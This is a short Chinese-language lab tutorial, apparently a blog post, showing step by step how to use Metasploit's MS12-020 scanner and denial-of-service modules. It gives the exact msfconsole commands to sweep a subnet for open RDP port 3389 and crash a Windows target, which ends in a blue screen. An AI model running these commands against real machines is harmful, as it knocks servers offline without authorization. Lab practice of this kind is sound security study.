ms12-020
打开kali终端，输入msfconsole，等待一段时间后，进入msf控制端
输入search ms12-020，这条指令是搜索ms12-020模块
上面那个auxiliary/dos/windows/rdp/ms12_020_maxchannelids是攻击模块，我们先不看，先看下面的搜索模块
输入use auxiliary/scanner/rdp/ms12_020_check
然后我们show options一下
由于这个攻击需要靶机开启3389，所以我们的port默认是3389不要动，rhosts由于后面有s，所以很容易明白这可以设置成一个网段，也可以是一个ip，知道ip是更快的。为了更普遍，我们设成一个网段，这里时间较久，由于我的靶机是192.168.0.143
所以输入set RHOSTS 192.168.0.1/24
然后输入run或者exploit开始查找
我们可以看到它已经再开始查找了，我们发现192.168.0.143前面是绿色的+，这是开启的意思。
这时候我们就可以使用上面提到的auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块了
输入use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
然后set RHOST 192.168.0.143(也可以先show options)
最后run
观测03靶机已经蓝屏了，重启就好了
文章最后发布于: 2019-03-02 19:29:26
相关阅读
A5创业网（公众号：iadmin5）3月20日消息，SOHO中国在官方微信号发文称，近期自媒体“神棍局”等个人和机构公开发表文章，利用封建
图片来源图虫：已授站长之家使用声明：本文来自于微信公众号运营研究社公众号(ID：U_quan)，作者：陈维贤，授权站长之家转载发布。文章整理自
欢迎访问网易云社区，了解更多网易技术产品运营经验。DDoS 攻击与防护实践DDoS 攻击的实现方式主要有如下两种：自建 DDoS 平台现在有
与E1000E和E1000相比，VMXNET3的网络性能更好。本文将解释虚拟网络适配器和第2部分之间的区别，并将演示通过选择半虚拟化适配器可以
7月10日晚，财富中文网发布2019年《财富》中国500强排行榜。榜单以营收为基准，范围覆盖中国境内外上市的所有中国公司。今年上榜公司